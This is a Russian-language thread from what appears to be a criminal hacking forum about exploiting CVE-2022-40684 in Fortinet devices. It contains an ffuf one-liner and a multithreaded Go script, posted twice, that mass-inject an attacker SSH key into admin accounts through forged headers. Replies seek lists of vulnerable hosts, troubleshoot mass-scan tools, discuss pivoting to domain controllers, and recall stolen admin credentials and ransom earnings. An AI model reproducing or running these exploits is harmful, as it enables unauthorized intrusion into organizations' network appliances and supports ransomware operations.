• XSS.stack #1 – первый литературный журнал от юзеров форума

Remote CVE-2022-40684 PoC

timeshout

RAID-массив
Пользователь
Регистрация
29.06.2022
Сообщения
62
Реакции
83
Код:
ffuf -w "host_list.txt:URL" -u "https://URL/api/v2/cmdb/system/admin/admin" -X PUT -H 'User-Agent: Report Runner' -H 'Content-Type: application/json' -H 'Forwarded: for="[127.0.0.1]:8000";by=”[127.0.0.1]:9000";' -d '{"ssh-public-key1": "h4x0r"}' -mr "SSH" -r

1665717687736.png
 
Многопоточный вариант на Go
15k = ~1m 10 sec
Код:
package main

import (
    "bufio"
    "bytes"
    "encoding/json"
    "fmt"
    "io/ioutil"
    "math/rand"
    "net/http"
    "os"
    "time"
)

var THREADS = 0
var MAX_THREADS = 100
var USERNAME = "msql"

type RequestData struct {
    SSHkey string `json:"ssh-public-key1"`
}

func readKey() string {
    content, err := ioutil.ReadFile("key.pub")
    if err != nil {
        panic("No SSH Key! Execute: ssh-keygen -f ./key -N \"\"")
    }

    return string(content)
}

func main() {
    sshKey := readKey()
    passed := 0

    file, err := os.Open("list")

    if err != nil {
        panic("No file \"list\"!")
    }

    defer file.Close()
    scanner := bufio.NewScanner(file)

    for scanner.Scan() {
        go worker(scanner.Text(), sshKey)

        passed += 1
        THREADS += 1

        fmt.Printf("Done %d\r", passed)

        for THREADS >= MAX_THREADS {
            time.Sleep(time.Duration(rand.Intn(700)) * time.Millisecond)

            if THREADS < MAX_THREADS {
                break
            }
        }
    }

    if err := scanner.Err(); err != nil {
        fmt.Println("Error with scanner: ", err)
    }
}

func worker(host string, key string) {
    body, err := json.Marshal(RequestData{
        SSHkey: "\"" + key + "\"",
    })
    if err != nil {
        fmt.Println("Error formatting SSH key: ", err)
        THREADS -= 1
        return
    }

    req, err := http.NewRequest(
        "PUT",
        "https://"+host+"/api/v2/cmdb/system/admin/"+USERNAME,
        bytes.NewBuffer(body),
    )
    if err != nil {
        THREADS -= 1
        return
    }

    req.Header.Set("User-Agent", "Report Runner")
    req.Header.Set("Forwarded", "for=\"[127.0.0.1]:8888\";by=\"[127.0.0.1]:8888\"")
    req.Header.Set("Content-Type", "application/json")

    client := &http.Client{
        Timeout: time.Duration(10),
    }
    resp, err := client.Do(req)
    if err != nil {
        THREADS -= 1
    }

    defer resp.Body.Close()

    answer, err := ioutil.ReadAll(resp.Body)
    if err != nil {
        THREADS -= 1
        return
    }

    if !bytes.Contains(answer, []byte("SSH key is good")) {
        THREADS -= 1
        return
    }

    fmt.Printf("[+] Host: %s; User: %s\n", host, USERNAME)
    THREADS -= 1
}
 
может кто хешом уязвимых серверов из шодана поделиться? А то хз как найти там уязвимые)
 
Многопоточный вариант на Go
15k = ~1m 10 sec
Код:
package main

import (
    "bufio"
    "bytes"
    "encoding/json"
    "fmt"
    "io/ioutil"
    "math/rand"
    "net/http"
    "os"
    "time"
)

var THREADS = 0
var MAX_THREADS = 100
var USERNAME = "msql"

type RequestData struct {
    SSHkey string `json:"ssh-public-key1"`
}

func readKey() string {
    content, err := ioutil.ReadFile("key.pub")
    if err != nil {
        panic("No SSH Key! Execute: ssh-keygen -f ./key -N \"\"")
    }

    return string(content)
}

func main() {
    sshKey := readKey()
    passed := 0

    file, err := os.Open("list")

    if err != nil {
        panic("No file \"list\"!")
    }

    defer file.Close()
    scanner := bufio.NewScanner(file)

    for scanner.Scan() {
        go worker(scanner.Text(), sshKey)

        passed += 1
        THREADS += 1

        fmt.Printf("Done %d\r", passed)

        for THREADS >= MAX_THREADS {
            time.Sleep(time.Duration(rand.Intn(700)) * time.Millisecond)

            if THREADS < MAX_THREADS {
                break
            }
        }
    }

    if err := scanner.Err(); err != nil {
        fmt.Println("Error with scanner: ", err)
    }
}

func worker(host string, key string) {
    body, err := json.Marshal(RequestData{
        SSHkey: "\"" + key + "\"",
    })
    if err != nil {
        fmt.Println("Error formatting SSH key: ", err)
        THREADS -= 1
        return
    }

    req, err := http.NewRequest(
        "PUT",
        "https://"+host+"/api/v2/cmdb/system/admin/"+USERNAME,
        bytes.NewBuffer(body),
    )
    if err != nil {
        THREADS -= 1
        return
    }

    req.Header.Set("User-Agent", "Report Runner")
    req.Header.Set("Forwarded", "for=\"[127.0.0.1]:8888\";by=\"[127.0.0.1]:8888\"")
    req.Header.Set("Content-Type", "application/json")

    client := &http.Client{
        Timeout: time.Duration(10),
    }
    resp, err := client.Do(req)
    if err != nil {
        THREADS -= 1
    }

    defer resp.Body.Close()

    answer, err := ioutil.ReadAll(resp.Body)
    if err != nil {
        THREADS -= 1
        return
    }

    if !bytes.Contains(answer, []byte("SSH key is good")) {
        THREADS -= 1
        return
    }

    fmt.Printf("[+] Host: %s; User: %s\n", host, USERNAME)
    THREADS -= 1
}
"return" v 86str ne hvataet ;)
 
Кроме подключения к впну Forticlient, там возможно добавить доменного юзера? А то вдруг я зря ищу решение, если дойти до подключения к впн Forticlient это максимум и дальше уже надо пробивать ДК другими сплоитами, то напишите об этом пожалуйста
 
На гите у Chocapikk хорошая реализация по масс скан эксплойту. Но почему то лижы не едут. В list.txt вставляю свои айпишники вида https://IP:Port/ не сканит чёт. В чем проблема? Ошибки нету. Print даёт баннер и надпись Hack The Planet... =) И дальше ничего не сканит. В другом эксплойте по одному работает
 
Пожалуйста, обратите внимание, что пользователь заблокирован
На гите у Chocapikk хорошая реализация по масс скан эксплойту. Но почему то лижы не едут. В list.txt вставляю свои айпишники вида https://IP:Port/ не сканит чёт. В чем проблема? Ошибки нету. Print даёт баннер и надпись Hack The Planet... =) И дальше ничего не сканит. В другом эксплойте по одному работает
Почти нет уже результатов
 
Почти нет уже результатов
cve-шка 2018 по фортику была круче. Там и админов креды летели в результы бывало. Классная вульна была. В 2021 году еще и юса залетала, правда ревень мелкий был
 
Пожалуйста, обратите внимание, что пользователь заблокирован
На гите у Chocapikk хорошая реализация по масс скан эксплойту. Но почему то лижы не едут. В list.txt вставляю свои айпишники вида https://IP:Port/ не сканит чёт. В чем проблема? Ошибки нету. Print даёт баннер и надпись Hack The Planet... =) И дальше ничего не сканит. В другом эксплойте по одному работает
Попробуй в лист добавить без https://.../
просто
ip
ip
ip
У меня все работает
 
Попробуй в лист добавить без https://.../
просто
ip
ip
ip
У меня все работает
Пробовал логично же, один чёрт. Завтра еще гляну. Ну проблема скорее всего на моей стороне. В другом эксплойте айпи:порт указываю, воркает
 
а там без вариантов кроме zero, куда бы юзера не добавлял безполезно, так как кредов ниту, эксплоит на самом деле херота, не дыхнуть не развернутся
 
а там без вариантов кроме zero, куда бы юзера не добавлял безполезно, так как кредов ниту, эксплоит на самом деле херота, не дыхнуть не развернутся
а ты смог пробить zero хоть что то?
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх